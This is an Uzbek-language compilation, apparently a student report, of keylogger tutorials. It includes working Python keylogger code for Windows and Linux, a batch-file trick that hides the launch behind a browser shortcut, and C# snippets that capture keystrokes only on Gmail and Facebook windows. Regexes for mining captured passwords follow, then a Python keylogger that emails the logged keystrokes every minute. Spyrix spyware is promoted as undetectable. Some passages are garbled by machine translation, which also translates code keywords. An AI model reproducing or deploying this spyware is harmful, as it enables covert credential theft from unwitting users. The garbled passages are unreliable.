Axborot texnologiyalari va kommunikatsiyalarin I rivojlantirish vazirligi muhammad al-xorazmiy


Python-da Keylogger-ni loyihalash



Download 1,02 Mb.
bet8/9
Sana09.02.2022
Hajmi1,02 Mb.
#438409
1   2   3   4   5   6   7   8   9
Bog'liq
doston baxodirov

Python-da Keylogger-ni loyihalash
Klaviatura bosish jurnali - bu klaviaturada bosilgan tugmalarni (odatda foydalanuvchi xabardor bo'lmaganda) yozib olish (ro'yxatga olish) jarayoni. Shuningdek, u klaviatura yoki klaviaturani yozib olish sifatida ham tanilgan.
Ushbu dasturlar kompyuterlar va biznes tarmoqlaridagi texnik muammolarni bartaraf etish uchun ishlatiladi. U tarmoqdan foydalanishni kuzatish uchun ham ishlatilishi mumkin, lekin ko'pincha parollarni o'g'irlash kabi zararli maqsadlarda foydalaniladi.
Ushbu maqolada Windows va Linux uchun keylogger dizayni tasvirlangan.

Windows uchun keylogger


Ba'zi python kutubxonalarini yuklab oling


1) pywin32
2) ilmoq
Quyida python-da keylogger yaratish uchun kod keltirilgan


# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook
  
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
  
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f = open('c:\output.txt', 'r+')
buffer = f.read()
f.close()
# open output.txt to write current + new keystrokes
f = open('c:\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

Faylni C:\ da Keylogger.py sifatida saqlang va python faylini ishga tushiring


Chiqish:
Keylogger fonda ishga tushadi va barcha ma'lumotlarni "c:\output.txt" jurnali faylida saqlaydi.
Linuxda keylogger
pyxhook uchun python-Xlib kerak. Agar sizda allaqachon mavjud bo'lmasa, uni o'rnating.
sudo apt-get o'rnatish python-xlib
Pyxhook kutubxonasini yuklab oling




# Python code for keylogger
# to be used in linux
import os
import pyxhook
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
'pylogger_file',
os.path.expanduser('~/Desktop/file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
os.environ.get(
'pylogger_cancel',
'`'
)[0]
)
# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
try:
os.remove(log_file)
except EnvironmentError:
# File does not exist, or no permissions.
pass
#creating key pressing event and saving it into log file
def OnKeyPress(event):
with open(log_file, 'a') as f:
f.write('{}\n'.format(event.Key))
# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
new_hook.start() # start the hook
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))

Chiqish:
Keylogger fonda ishga tushadi va barcha ma'lumotlarni file.log faylida “/home/Akash/Desktop”da saqlang.
Ma'lumotnomalar
https://en.wikipedia.org/wiki/Keystroke_logging
Ushbu maqola Akash Sharan tomonidan kiritilgan. Agar sizga GeeksforGeeks yoqsa va o'z hissangizni qo'shmoqchi bo'lsangiz, write.geeksforgeeks.org dan foydalanib maqola yozishingiz yoki maqolangizni review-team@geeksforgeeks.org manziliga yuborishingiz mumkin. Maqolangizni GeeksforGeeks bosh sahifasida ko'ring va boshqa Geeksga yordam bering.
Agar biror narsa noto'g'ri bo'lsa yoki yuqorida muhokama qilingan mavzu haqida ko'proq ma'lumot almashishni istasangiz, sharhlaringizni yozing.


Python-da keyloggerni avtomatik ishga tushirish

Keylogger tayyor. Endi biz keyloggerni foydalanuvchidan yashirin va avtomatik ravishda ishga tushirishimiz kerak Windows-ni yuklash... Bu turli yo'llar bilan amalga oshirilishi mumkin. Keling, buni bat-fayl yordamida, keyloggerni ishga tushirishni biron bir dasturga bog'lash yoki uni ishga tushirish uchun yozish orqali amalga oshirishga harakat qilaylik.


Birinchidan, bat faylini yarating. Quyidagi kodni nusxa ko'chiring va bloknotga joylashtiring:
:: Nomi: QUAZAR
:: Veb-sayt: www.site
@echo off
ishga tushirish "" "C: keyloggerkeylogger.pyw"
"" "C: FilesOperalauncher.exe dasturini ishga tushiring
Birinchi qatorda keylogger.pyw fayliga yo'lni kiritishingiz kerak (mening holimda "C: keylogger.pyw"). Ikkinchi qatorda siz foydalanuvchi odatda foydalanadigan dasturga yo'lni kiritishingiz kerak (mening holimda Opera brauzeri).
Tahrirlashdan so'ng, faylni .bat kengaytmasida (mening holimda logger.bat) kompyuterdagi yashirin joyda saqlang (mening holimda "C: keylogger.bat" da).
Endi biz ish stoliga o'tamiz va tez-tez ishlatiladigan dasturning yorlig'ini tanlaymiz (mening holimda bu Opera brauzeri). Sichqonchaning o'ng tugmasi bilan kontekst menyusini oching va yorliqning xususiyatlariga o'ting. "Ob'ekt" maydoniga "C: keyloggerlogger.bat" keylogger bat-fayliga yo'lni kiriting.

O'zgartirishlar kiritilgandan so'ng, yorliq belgisi ham o'zgaradi. Lekin bu xususiyat yorlig'ida osongina echilishi mumkin (yuqoridagi ekranga qarang).
Xakerlar dunyosini taxminan uchta hujumchilar guruhiga bo'lish mumkin:

1) "Skids" (skript kiddies) - bolalar, ma'lum kod va yordamchi dasturlarni to'playdigan va ulardan oddiy zararli dasturlarni yaratish uchun foydalanadigan yangi boshlanuvchilar


2) Byuerlar toza tadbirkorlar, o'smirlar va boshqa hayajon izlovchilar emas. Ular Internetda bunday dasturiy ta'minotni yozish xizmatlarini sotib oladilar, u bilan turli xil shaxsiy ma'lumotlarni to'playdilar va, ehtimol, uni qayta sotishadi.
3) "Black Hat Coders" - dasturlash gurusi va arxitektura biluvchilari. Ular bloknotga kod yozadilar va noldan yangi ekspluatatsiyalarni ishlab chiqadilar.
Yaxshi dasturlash qobiliyatiga ega bo'lgan odam oxirgi bo'lishi mumkinmi? Bir nechta DEFCON sessiyalarida qatnashganingizdan so'ng siz regin (link) kabi narsalarni yaratishni boshlaysiz deb o'ylamayman. Boshqa tomondan, men axborot xavfsizligi xodimi zararli dasturlarga asoslangan ba'zi tushunchalarni o'zlashtirishi kerak deb hisoblayman.
Ushbu norasmiy xakerlik 101 sinfi uchun sizga ozgina dasturlash bilimi (C # va java) va Windows arxitekturasi haqida asosiy tushuncha kerak. Yodda tutingki, aslida zararli dastur C / C ++ / Delphi-da ramkalarga bog'liq bo'lmaslik uchun yozilgan.
Keylogger - bu buzilgan mashinadagi tugmachalarni bosib ushlab turish va eslab qolishi mumkin bo'lgan dasturiy ta'minot yoki jismoniy qurilma. Buni klaviaturadagi har bir bosish uchun raqamli tuzoq sifatida tasavvur qiling.
Ko'pincha bu funktsiya boshqa, murakkabroq dasturlarda, masalan, troyanlarda (Remote Access Trojans RATS) amalga oshiriladi, ular ushlangan ma'lumotlarni tajovuzkorga qaytarishni ta'minlaydi. U erda ham apparat keyloggers, lekin ular kamroq tarqalgan, chunki mashinaga bevosita jismoniy kirishni talab qiladi.
Shunga qaramay, keyloggerning asosiy funktsiyalarini dasturlash juda oson. OGOHLANTIRISH. Quyidagilardan birini sinab ko‘rmoqchi bo‘lsangiz, ruxsatlarga ega ekanligingizga ishonch hosil qiling va mavjud muhitingizga zarar yetkazmang, lekin barchasini izolyatsiya qilingan VMda qilgan ma’qul. Bundan tashqari, ushbu kod optimallashtirilmaydi, men sizga vazifani bajara oladigan kod satrlarini ko'rsataman, bu eng oqlangan yoki optimal usul emas. Va nihoyat, men sizga keyloggerni qayta ishga tushirishga qanday chidamli qilish yoki maxsus dasturlash texnikasi tufayli uni butunlay aniqlanmaydigan qilib qo'yishga harakat qilishni aytmayman, shuningdek, agar topilgan bo'lsa ham, o'chirishdan himoya qilish haqida.
Klaviaturaga ulanish uchun C# da faqat 2 ta qatordan foydalanishingiz kerak:
1. 2. 3. umumiy statik tashqi int GetAsyncKeyState (Int32 i);
MSDN-da GetAsyncKeyState funksiyasi haqida ko'proq bilib olishingiz mumkin:
Tushunish uchun: bu funksiya qo'ng'iroq paytida tugmalar bosilishini yoki qo'yib yuborilganligini va oldingi qo'ng'iroqdan keyin bosilganligini aniqlaydi. Endi biz klaviaturadan ma'lumotlarni olish uchun doimo ushbu funktsiyani chaqiramiz:
1. while (haqiqiy) 2. (3. Thread.Sleep (100); 4. (Int32 i = 0; i) uchun< 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }
Bu yerda nima bo'lyapti? Bu sikl har 100 ms holatini aniqlash uchun har bir kalitni so'raydi. Agar ulardan biri bosilsa (yoki bosilsa), konsolda bu haqda xabar ko'rsatiladi. Haqiqiy hayotda bu ma'lumotlar buferlanadi va tajovuzkorga yuboriladi.
Kodning ikkinchi versiyasi:
1. while (true) 2. (3. IntPtr tutqichi = GetForegroundWindow (); 4. agar (GetWindowText (dastak, buff, belgilar)> 0) 5. (6. string line = buff.ToString (); 7. agar (line.Contains ("Gmail") || line.Contains ("Facebook - Kirish yoki Ro'yxatdan o'tish")) 8. (9. // test klaviaturasi 10.) 11.) 12. Thread.Sleep (100); o'n uch.)
Ushbu parcha har 100ms faol oynani ko'rsatadi. Bu GetForegroundWindow funksiyasi yordamida amalga oshiriladi (MSDN haqida batafsil ma'lumot). Sahifaning sarlavhasi buff o'zgaruvchisida saqlanadi, agar unda gmail yoki facebook bo'lsa, u holda klaviatura skanerlash qismi chaqiriladi.
Shunday qilib, biz klaviaturani faqat facebook va gmail saytlarida brauzer oynasi ochiq bo'lganda skanerlashini ta'minladik.
Faraz qilaylik, tajovuzkor biznikiga o'xshash kod bilan ma'lumotlarni olishga muvaffaq bo'ldi. Aytaylik, u etarlicha shuhratparast va o'nlab yoki yuz minglab mashinalarni yuqtirgan. Natija: gigabayt matnli ulkan fayl, unda kerakli ma'lumotlar hali ham topilishi kerak. Muntazam iboralar yoki regex bilan tanishish vaqti keldi. Bu ma'lum shablonlarni yaratish va matnni berilgan shablonlarga muvofiqligini tekshirish uchun mini-tilga o'xshaydi. Batafsil ma’lumotni shu yerda topishingiz mumkin.
Oddiylik uchun men darhol kirish nomlari va parollariga mos keladigan tayyor iboralarni beraman:
1. // Pochta manzili qidirilmoqda 2. ^ [\ w! # $% & "* + \ - / =? \ ^ _` (|) ~] + (\. [\ W! # $% & " * + \ - / =? \ ^ _ `(|) ~] +) * @ ((([\ - \ w] + \.) + (2,4)) | (((1,3) \. ) ( 3) (1,3))) $ 3. 4. 5. // Parol qidirilmoqda 6. (? = ^. (6,) $) (? =. * \ D) (? =. *)
Bu iboralar ular yordamida nima qilish mumkinligi haqida maslahat sifatida berilgan. Oddiy iboralar pasport raqamlari, kredit karta raqamlari, hisoblar va hatto parollar kabi o'ziga xos va o'zgarmas formatga ega bo'lgan har qanday konstruktsiyani qidirish (yoki topish!) uchun ishlatilishi mumkin.
Darhaqiqat, oddiy iboralar eng o'qiladigan kod turi emas, lekin ular matnni tahlil qilishda dasturchining eng yaxshi do'stlaridan biri hisoblanadi. Java, C #, JavaScript va boshqa mashhur tillarda siz oddiy oddiy iboralarni yuborishingiz mumkin bo'lgan tayyor funktsiyalarga ega.
C # uchun bu shunday ko'rinadi:
1. Regex re = new Regex (@ "^ [\ w! # $% &" * + \ - / =? \ ^ _ `(|) ~] + (\. [\ W! # $% &" * + \ - / =? \ ^ _ `(|) ~] +) * @ ((([\ - \ w] + \.) + (2,4)) | (((1,3) \.) (3) (1,3))) $ "); 2. Regex re2 = yangi Regex (@ "(? = ^. (6,) $) (? =. * \ D) (? =. *)"); 3. string email = " Oded.awask@gmail.com"; 4. string pass =" abcde3FG "; 5. Match natijasi = re.Match (elektron pochta); 6. Match natijasi2 = re2.Match (pas);
Birinchi ibora (re) har qanday joyga mos keladi elektron pochta, va ikkinchi (re2) alifbo konstruktsiyasining istalgan raqami 6 ta belgidan ortiq.
Bu asosiy xususiyat! Siz har doim tahdid skanerlaridan bir necha qadam oldinda bo'lgan holda kodni o'zgartirishingiz va rivojlanishingiz mumkin. Agar siz o'z kodingizni yozishga qodir bo'lsangiz, uning aniqlanmasligi deyali kafolatlanadi. Ushbu sahifada siz to'liq tahlilni ko'rishingiz mumkin
Ushbu maqolaning asosiy maqsadi faqat antivirus dasturidan foydalanish bilan siz korxona xavfsizligini to'liq ta'minlay olmasligingizni ko'rsatishdir. Potentsial zararli harakatlarni aniqlash uchun barcha foydalanuvchilarning va hatto xizmatlarning harakatlarini chuqurroq baholash kerak.
Keyingi maqolalarda men sizga qanday qilib bunday dasturiy ta'minotning aniqlanmaydigan versiyasini yaratishni ko'rsataman.
Keyloggerlar (keyloggerlar) nima uchun:
1. Bolalar va yaqinlarni nazorat qilish
Spyrix Keylogger Free sizga bolalaringizning kompyuterdan foydalanishini kuzatish imkonini beradi. Siz farzandlaringizni Internetdagi keraksiz ma'lumotlardan (jinsiy aloqa, giyohvand moddalar, o'z joniga qasd qilish, qimor o'yinlari va boshqalar) himoya qilasiz va xavfli odamlar bilan aloqa qilishning oldini olasiz.
2. Xodimlarni nazorat qilish va axborotning sizib chiqishidan himoya qilish.
Spyrix Keylogger Free dasturidan ishchi kompyuterlarda xodimlar yozishmalarini kuzatish va ish vaqtidan foydalanishni nazorat qilish uchun foydalanish mumkin.
Spyrix Keylogger Free asosiy xususiyatlari:

  • YANGI! Xavfsiz veb-hisob qaydnomasi orqali masofaviy monitoringBir marta kuzatmoqchi bo'lgan kompyuterga kirish va u erda Spyrix Keylogger Free dasturini o'rnatish kifoya. Kelajakda siz to'plangan ma'lumotlarni veb-hisob qaydnomasi orqali Internet va istalgan qurilma (kompyuter, noutbuk, planshet yoki smartfon) bilan istalgan joydan ko'rishingiz mumkin.

  • Keylogger (keylogger)Bosilgan klaviatura tugmalari haqida ma'lumotni jurnal fayliga yozish (hatto o'chirilgan belgilarni saqlaydi)

  • Antivirus dasturlari tomonidan 100% aniqlanmaydiAntivirus va josuslarga qarshi dasturlar ko'pincha ushbu ilovalarning ko'pini aniqlaydi va bloklaydi. Spyrix Keylogger Free dan mukammal yashiringan antivirus dasturi, rootkitlarga qarshi va josuslarga qarshi dasturlar.

  • Masofadan olib tashlashSiz Spyrix Keylogger Free-ni istalgan kompyuterda masofadan turib o'chirib tashlashingiz mumkin - veb-hisob qaydnomasi orqali.

  • Ilovani kuzatishIshlayotgan barcha ilovalarni, shu jumladan o'yinlarni ko'ring

  • Skrinshotlar (skrinshotlar)Skrinshotlarni olish kompyuter monitoringi imkoniyatlarini sezilarli darajada kengaytiradi va har qanday ilovalar (shu jumladan ICQ, SKYPE va boshqalar) va veb-saytlar (masalan, vkontakte, sinfdoshlar) oynalarining skrinshotlarini olish imkonini beradi.

  • Foydalanuvchi faoliyatiSpyrix Keylogger Free kompyuterdan foydalanishning faolligi va harakatsizligi vaqtini yozib oladi

  • Olinadigan diskni boshqarish (USB, HDD, SD)

  • Printerni boshqarish

Spyrix Keylogger Free - bu bozordagi eng kuchli bepul keylogger. Spyrix Keylogger Free - bu masofaviy monitoring funksiyasini ta'minlaydigan yagona haqiqiy bepul keylogger.
Asosiy oyna:
Xavfsiz veb-hisob:
KeePass orqali kiritilgan parollarning xavfsizligini tekshirish uchun men clipboarddan qo'shimcha ma'lumotlarni yozib olish bilan oddiy keylogger yozishga qaror qildim. Barcha kodlar FreePascal-da bir nechta qatorlarni oldi.
Qo'shimcha xavfsizlik choralari va KeePass to'g'ri konfiguratsiyasisiz parollar juda zaif bo'lib chiqdi.
Keylogger kodi har 10 msda yangilanadigan taymer sikliga joylashtiriladi. Ishlatilgan modullar: Windows va ClipBrd.
// f: = 0 dan 255 gacha bo'lgan tugmachalarning joriy holatini solishtiring, agar a [f] bo'lsa<>GetAsyncKeyState (f) keyin boshlanadi // Agar KeePass.Checked va (GetAsyncKeyState (f) = 0), keyin Memo1.Caption: = Memo1.Caption + chr (f); // KeePass.Checked va (GetAsyncKeyState (f) bo'lmasa, tugmani bosishga reaktsiya.<>0) keyin Memo1.Caption: = Memo1.Caption + chr (f); oxiri; // Massiv kalitlarining joriy holatini f uchun saqlang: = 0 dan 255 gacha a [f] bajaring: = GetAsyncKeyState (f); // Agar s bo'lsa, clipboarddagi o'zgarishlarni yozing<>Clipboard.AsText keyin boshlanadi s: = Clipboard.AsText; Memo2.Caption: = Memo2.Caption + s + ""; oxiri;
Simple Logger quyidagicha ko'rinadi:

-Keyboard- oynasi registr va kiritish tilidan qat'iy nazar tugmachalarni ko'rsatadi. Raqami kalit kodiga teng bo'lgan belgi ko'rsatiladi: chr (f). Barcha belgilarni to'g'ri ko'rsatish uchun dasturni o'zgartirish mumkin, ammo bu tadqiqot uchun talab qilinmaydi.


Bufer tarkibi o'zgarganda nusxa ko'chirish -Clipboard- oynasida sodir bo'ladi.
Keylogger - bu ma'lum bir kompyuter klaviaturasida terilgan har bir tugmani kuzatish va yozib olish uchun ishlatiladigan kuzatuv texnologiyasining bir turi. Ushbu qo'llanmada siz Python-da keylogger yozishni o'rganasiz.
Sizni qiziqtirgandirsiz, nima uchun keylogger foydali? Agar xaker (yoki skriptchi bola) bundan axloqsiz maqsadlarda foydalansa, u klaviaturada siz kiritgan hamma narsani, shu jumladan hisob maʼlumotlaringizni (kredit karta raqamlari, parollar va h.k.) qayd qiladi.
Ushbu o'quv qo'llanmaning maqsadi sizni ushbu turdagi skriptlardan xabardor qilish, shuningdek, ta'lim maqsadlarida bunday zararli skriptlarni o'zingiz amalga oshirishni o'rganishdir, keling, boshlaylik!
Bog'liq: Python-da port skaneri qanday qilish kerak.
Birinchidan, biz klaviatura deb nomlangan modulni o'rnatishimiz kerak, terminalga yoki buyruq satriga o'tamiz va yozamiz:
pip3 klaviaturani o'rnatish
Ushbu modul sizga klaviaturani to'liq nazorat qilish, global hodisalarni bog'lash, tezkor tugmalarni ro'yxatdan o'tkazish, tugmachalarni bosishni taqlid qilish va boshqa ko'p narsalarni qilish imkonini beradi va bu kichik modul bo'lsa ham.
Shunday qilib, Python skripti quyidagilarni bajaradi:
Orqa fonda tugma bosishlarini tinglang.
Qachonki tugma bosilsa va qo'yib yuborilsa, biz uni global satr o'zgaruvchisiga qo'shamiz.
Har N daqiqada ushbu satr o'zgaruvchisi tarkibini mahalliy faylga (FTP serveriga yoki Google Drive API-ga yuklash uchun) yoki elektron pochta orqali xabar bering.
Kerakli modullarni import qilishdan boshlaylik:

import keyboard # for keylogs


import smtplib # for sending email using SMTP protocol (gmail)
# Timer is to make a method runs after an `interval` amount of time
from threading import Timer
from datetime import datetime

Agar siz asosiy jurnallar haqida elektron pochta orqali xabar berishni tanlasangiz, Gmail hisob qaydnomasini o'rnatishingiz va quyidagilarga ishonch hosil qilishingiz kerak:


Kamroq xavfsiz ilovalarga kirish yoqilgan (biz uni yoqishimiz kerak, chunki Python’da smtplib yordamida tizimga kiramiz).
2 bosqichli tekshiruv oʻchirilgan.
Bu ikki rasmda ko'rsatilganidek:


Endi parametrlarimizni ishga tushiramiz:

SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on
EMAIL_ADDRESS = "thisisafakegmail@gmail.com"
EMAIL_PASSWORD = "thisisafakepassword"

Eslatma: Shubhasiz, siz to'g'ri Gmail hisob ma'lumotlarini kiritishingiz kerak, aks holda elektron pochta orqali xabar berish ishlamaydi.


SEND_REPORT_EVERY ni 60 ga o‘rnatish, biz har 60 soniyada (ya’ni bir daqiqada) keyloglar haqida xabar berib turamiz, degan ma’noni anglatadi.
Keyloggerni taqdim etishning eng yaxshi usuli - bu sinf yaratish va bu sinfdagi har bir usul muayyan vazifani bajaradi

class Keylogger:


def __init__(self, interval, report_method="email"):
# we gonna pass SEND_REPORT_EVERY to interval
self.interval = interval
self.report_method = report_method
# this is the string variable that contains the log of all
# the keystrokes within `self.interval`
self.log = ""
# record start & end datetimes
self.start_dt = datetime.now()
self.end_dt = datetime.now()

Biz report_method usulini sukut bo'yicha "email" ga o'rnatdik, bu biz elektron pochtamizga keyloglarni yuborishimizni bildiradi, keyinroq "fayl" ni qanday o'tkazishimizni ko'rasiz va u uni mahalliy faylga saqlaydi.


Endi biz klaviaturaning on_release() funksiyasidan foydalanishimiz kerak bo‘ladi, u har bir KEY_UP hodisasi uchun (klaviaturadagi kalitni bo‘shatganingizda) chaqiriladi, bu qayta qo‘ng‘iroq KeyboardEvent nomiga ega bo‘lgan bitta parametrni oladi. atribut , keling, uni amalga oshiramiz:

def callback(self, event):


"""
This callback is invoked whenever a keyboard event is occured
(i.e when a key is released in this example)
"""
name = event.name
if len(name) > 1:
# not a character, special key (e.g ctrl, alt, etc.)
# uppercase with []
if name == "space":
# " " instead of "space"
name = " "
elif name == "enter":
# add a new line whenever an ENTER is pressed
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
# replace spaces with underscores
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
# finally, add the key name to our global `self.log` variable
self.log += name

Shunday qilib, kalit bo'shatilganda, bosilgan tugma self.log qator o'zgaruvchisiga qo'shiladi.


Agar biz keyloglarimizni mahalliy faylga xabar qilishni tanlasak, bunga quyidagi usullar javob beradi:

def update_filename(self):


# construct the filename to be identified by start & end datetimes
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):


"""This method creates a log file in the current directory that contains
the current keylogs in the `self.log` variable"""
# open the file in write mode (create it)
with open(f"{self.filename}.txt", "w") as f:
# write the keylogs to the file
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")

update_filename() usuli oddiy; biz yozilgan sana vaqtlarini olamiz va ularni o'qilishi mumkin bo'lgan satrga aylantiramiz. Shundan so'ng, biz ushbu sanalar asosida fayl nomini yaratamiz, unda biz jurnal fayllarimizga nom berish uchun foydalanamiz.


Keyin biz xabar bergan usulni (bu holda, asosiy jurnallar) amalga oshirishimiz kerak, u uni elektron pochta sifatida yuboradi (bu qanday amalga oshirilishi haqida ko'proq ma'lumot olish uchun ushbu qo'llanmaga tashrif buyuring):

def sendmail(self, email, password, message):


# manages a connection to the SMTP server
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
# connect to the SMTP server as TLS mode ( for security )
server.starttls()
# login to the email account
server.login(email, password)
# send the actual message
server.sendmail(email, email, message)
# terminates the session
server.quit()

Har bir vaqt oralig'idan keyin keyloglar haqida xabar beradigan usul:

def report(self):
"""
This function gets called every `self.interval`
It basically sends keylogs and resets `self.log` variable
"""
if self.log:
# if there is something in log, report it
self.end_dt = datetime.now()
# update `self.filename`
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
# if you want to print in the console, uncomment below line
# print(f"[{self.filename}] - {self.log}")
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
# set the thread as daemon (dies when main thread die)
timer.daemon = True
# start the timer
timer.start()

Shunday qilib, biz self.log o'zgaruvchisida biror narsa bor yoki yo'qligini tekshiramiz (foydalanuvchi o'sha davrda biror narsani bosgan), agar shunday bo'lsa, mahalliy faylga saqlash yoki elektron pochta orqali yuborish orqali xabar bering.


Va keyin biz intervalni (ushbu o'quv qo'llanmada men uni 1 daqiqa yoki 60 soniyaga qo'yganman, uni o'z ehtiyojlaringizga moslashtiring) va self.report() funksiyasini Timer() sinfiga o'tkazdik va keyin qo'ng'iroq qiling. start() usulini demon ipi sifatida o'rnatganimizdan so'ng.

Shunday qilib, biz joriy qilgan usul klavishlarni bosishlarni elektron pochtaga yuboradi yoki uni mahalliy faylga saqlaydi (report_method asosida) va o'zini rekursiv ravishda har self.interval soniyada alohida mavzularda chaqiradi


Keling, on_release() usulini chaqiradigan usulni aniqlaymiz:
def start(self):
# record the start datetime
self.start_dt = datetime.now()
# start the keylogger
keyboard.on_release(callback=self.callback)
# start reporting the keylogs
self.report()
# block the current thread, wait until CTRL+C is pressed
keyboard.wait()

Klaviatura modulidan qanday foydalanish haqida ko'proq ma'lumot olish uchun ushbu qo'llanmani tekshiring.


Ushbu start() usuli biz sinfdan tashqarida qo'llaniladigan usuldir, chunki bu asosiy usul bo'lgani uchun biz oldindan belgilangan qayta qo'ng'iroq() usulini o'tkazish uchun keyboard.on_release() usulidan foydalanamiz.
Shundan so'ng, biz alohida oqimda ishlaydigan self.report() metodimizni chaqiramiz va nihoyat joriy oqimni blokirovka qilish uchun klaviatura modulidan wait() usulidan foydalanamiz, shuning uchun biz CTRL+C tugmalari yordamida dasturdan chiqishimiz mumkin.

Biz asosan Keylogger klassi bilan tugatdik, endi qilishimiz kerak bo'lgan narsa biz yaratgan ushbu sinfni yaratishdir:


if __name__ == "__main__":


# if you want a keylogger to send to your email
# keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
# if you want a keylogger to record keylogs to a local file
# (and then send it using your favorite method)
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()

Agar siz hisobotlarni elektron pochta orqali olishni istasangiz, biz report_method="email" mavjud bo'lgan birinchi misolni izohdan olib tashlashingiz kerak. Aks holda, agar siz joriy katalogga fayllar orqali keyloglar haqida xabar bermoqchi bo'lsangiz, ikkinchisidan foydalaning, report_method "fayl" ga o'rnatiladi.


Elektron pochta xabarlaridan foydalangan holda skriptni bajarganingizda, u sizning klavishlaringizni yozib oladi, har bir daqiqadan so'ng u barcha jurnallarni elektron pochtaga yuboradi, sinab ko'ring!
Bir daqiqadan so'ng elektron pochtamga nima keldi:
Keylogger natijalari
Bmen o'sha davrda shaxsiy klaviaturamda bosgan narsam edi!
Uni report_method="file" (standart) bilan ishga tushirganingizda, har daqiqadan so'ng joriy katalogdagi jurnal fayllarini ko'rishni boshlashingiz kerak:



Va siz konsolda shunday chiqishni ko'rasiz:

[+] Saved keylog-2020-12-18-150850_2020-12-18-150950.txt
[+] Saved keylog-2020-12-18-150950_2020-12-18-151050.txt
[+] Saved keylog-2020-12-18-151050_2020-12-18-151150.txt
[+] Saved keylog-2020-12-18-151150_2020-12-18-151250.txt
...
Xulosa
Endi siz buni tarmoq bo'ylab jurnal fayllarini yuborish uchun kengaytirishingiz mumkin yoki ularni diskingizga yuklash uchun Google Drive API-dan foydalanishingiz mumkin yoki hatto ularni FTP serveringizga yuklashingiz mumkin.
Bundan tashqari, hech kim .py faylini ishga tushira olmagani uchun siz ushbu kodni Pyinstaller kabi ochiq kodli kutubxonalar yordamida bajariladigan faylga yaratishingiz mumkin.Ogohlantirish: E'tibor bering, men ushbu kodni siz ruxsatingiz bo'lmagan kompyuterda ishlatish uchun javobgar emasman, undan foydalanish xavfi o'z zimmangizda!
Xulosa

So'nggi yillarda josuslarga qarshi dasturlar sonining ko'payishi bilan klaviatura va shaxsiy ma'lumotlarni o'g'irlashdan foyda oladigan veb-saytlar va zararli foydalanuvchilar soni ko'paydi.


Siz bunday xavfdan xabardor bo'lishingiz va uni aniqlay olishingiz kerak. Ayg'oqchi dasturlarga qarshi kurashda birinchi qadam FireFox, Safari, Opera va boshqalar kabi muqobil brauzerdan foydalanish bo'ladi. Agar biron sababga ko'ra buni amalga oshirishning iloji bo'lmasa, tizimingizni doimiy ravishda oldini olish, aniqlash uchun choralar ko'rishingiz kerak. va keyloggerlarni olib tashlang.
Keylogger virus emas, lekin shunga qaramay u foydalanuvchilar uchun katta xavf tug‘diradi, chunki u tajovuzkorga foydalanuvchining ishini kuzatish imkonini beradi va maxfiy ma’lumotlarni, jumladan, foydalanuvchi parollarini o‘g‘irlashda foydalanishi mumkin.
RootKit texnologiyasi bilan birlashganda keylogger tahdidi sezilarli darajada oshishi mumkin, bu sizga keylogger mavjudligini yashirish imkonini beradi. Bundan ham xavflisi troyan yoki keyloggerni o'z ichiga olgan backdoor dasturidir - uning mavjudligi troyan funksiyalarini sezilarli darajada kengaytiradi va foydalanuvchi uchun uning xavfi.
Amaliyot shuni ko'rsatadiki, zararli dasturlarni ishlab chiquvchilar (viruslar, troyanlar, josuslik dasturlari) tobora ko'proq RootKit texnologiyalaridan foydalanishni boshlaydilar, bu esa aniqlash va o'chirishni sezilarli darajada murakkablashtiradi.
Amaliyot shuni ko'rsatadiki, zararli dasturlarni ishlab chiquvchilar (viruslar, troyanlar, josuslik dasturlari) tobora ko'proq RootKit texnologiyalaridan foydalanishni boshlaydilar, bu esa ular yaratgan zararli dasturlarni aniqlash va o'chirishni sezilarli darajada murakkablashtiradi. Ko'pincha foydalanuvchi rejimida funktsiyalarni ushlab turish usullari qo'llaniladi, ammo yaqinda drayverlar yordamida juda samarali dasturlar paydo bo'ldi.
Ma'lumki, bugungi kunda apparat klaviaturalarini chetlab o'tishga imkon beruvchi universal va ishonchli texnika mavjud - bu ekran klaviaturasidan foydalanish va klaviaturadan foydalanmasdan ma'lumotlarni kiritishning boshqa usullari. Shuni ta'kidlash kerakki, eng zamonaviy
